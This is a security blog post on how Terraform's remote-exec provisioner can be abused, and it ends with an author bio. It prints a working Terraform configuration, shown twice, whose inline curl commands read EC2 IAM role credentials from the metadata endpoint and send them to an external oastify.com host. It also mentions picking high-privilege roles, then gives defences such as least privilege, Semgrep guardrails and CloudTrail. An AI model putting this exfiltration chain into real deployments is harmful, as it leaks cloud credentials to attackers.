The Hidden Dangers of Using Terraform's Remote-Exec Provisioner
Terraform is a powerful infrastructure as code tool that can support multi-cloud deployments. Terraform provides consistent and reliable deployments for cloud infrastructure. But as with every tool there are hidden dangers built-in we need to check for!
The remote-exec provisioner in Terraform can be a valuable tool, providing the ability to execute scripts and commands on remote resources. However, it can pose significant security risks to your infrastructure without proper control and awareness. One such risk involves exfiltrating sensitive information, as demonstrated in the example below. We aim to dissect this example to highlight the potential dangers and provide you with ways to prevent data exfiltration.
The provided Terraform code sets up an EC2 instance, using the remote-exec provisioner to run a series of commands on the instance. One of these commands fetches the IAM role credentials associated with the instance, writing them to a text file. The second command then sends these credentials to a remote server using a POST request.
Here is the full example:
resource "aws_instance" "example" {
ami = "ami-06ca3ca175f37dd66" // make sure to update this to a valid AMI ID
instance_type = "t2.micro"
associate_public_ip_address = true
provisioner "remote-exec" {
inline = [
"sudo yum install ec2-instance-connect -y",
"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/tf-testing-role > /tmp/awscreds.txt && curl https://oumwg4t4vgr2zg6yl1g34tsi.oastify.com/creds.php --data-urlencode creds@/tmp/awscreds.txt"
]
}
iam_instance_profile = "tf-testing-role"
connection {
type = "ssh"
user = "ec2-user"
private_key = tls_private_key.this.private_key_openssh
host = self.public_ip
agent = false
}
key_name = aws_key_pair.this.key_name
vpc_security_group_ids = [aws_security_group.example.id]
metadata_options {
http_endpoint = "enabled"
http_tokens = "optional"
http_put_response_hop_limit = 10
}
tags = {
Name = "terraform-testing"
}
}
resource "tls_private_key" "this" {
algorithm = "ED25519"
}
resource "aws_key_pair" "this" {
key_name = "terraform-ssh-key"
public_key = tls_private_key.this.public_key_openssh
}
resource "aws_security_group" "example" {
name = "ec2-tf-testing"
description = "SG for use with terraform testing"
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
}
output "public_ip" {
value = aws_instance.example.public_ip
}
provisioner "remote-exec" {
inline = [
"sudo yum install ec2-instance-connect -y",
"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/tf-testing-role > /tmp/awscreds.txt && curl https://oumwg4t4vgr2zg6yl1475allacg34tsi.oastify.com/creds.php --data-urlencode creds@/tmp/awscreds.txt"
]
}
The above example poses a considerable security risk. What we’re doing in this example is using remote-exec to run a few commands chained together.
First, we curl the metadata endpoint with the role name to get the STS credentials. Those are output to a file (awscreds.txt).
Then, that file is curl'd out of the environment. This chain of commands would allow an attacker to exfil the STS credentials out of the environment and use them externally. They would be valid and have the permissions of the role assigned to the EC2.
If you combine this with "role shopping" (choosing what role gives you the most rights), you can utilize a Terraform deployment to gain access to highly privileged credentials.
To prevent these issues, follow best practices for infrastructure as code:
- Minimal Privileges: Assign only the necessary permissions to the IAM roles. This reduces the potential damage if the credentials are compromised. Terraform and CI/CD pipelines are great targets due to often being given too many permissions.
- Enforce Guardrails: Use a tool like Semgrep or Hashicorp Sentinel to enforce guardrails so the use of remote-exec is blocked in the pipeline.
- Monitor Access and Usage: Implement mechanisms to monitor the use of IAM roles and identify unusual activities. AWS CloudTrail, for example, provides logs of API calls for your account, including the use of IAM roles.
If you want to prevent the use of provisions such as remote-exec, you can integrate a tool such as Semgrep into your pipeline.
Here is an example rule in the Semgrep playground to prevent the use of provisions:
The remote-exec provisioner is a powerful tool, but with great power comes great responsibility. By understanding the potential security risks and taking necessary precautions, you can use this tool effectively and securely. If you would like to learn more about Terraform security, reach out to talk about how we can improve your infrastructure as code security. We’ll also be at LASCON speaking about IAC security and doing a two-day training at LASCON in October.
Michael McCabe founded Cloud Security Partners in 2017 to create and implement security solutions for a select number of clients. Since then, Cloud Security Partners has grown to become a recognized leader in cloud and application security. Michael’s focus on cloud-native software security coupled with his experience in cloud infrastructure and security enables him to help companies navigate security challenges with unique and client-tailored solutions.
Over the course of his career, Michael has led teams in startups and large financial institutions and guided them through their security journeys. He leads the OWASP Northern Virginia chapter, where he coordinated countless talks and meetups that hosted industry-leading experts. He has been a featured speaker at numerous conferences about application security, cloud security, and more.
When not chasing his two young sons around, Michael enjoys biking and being an amateur mechanic.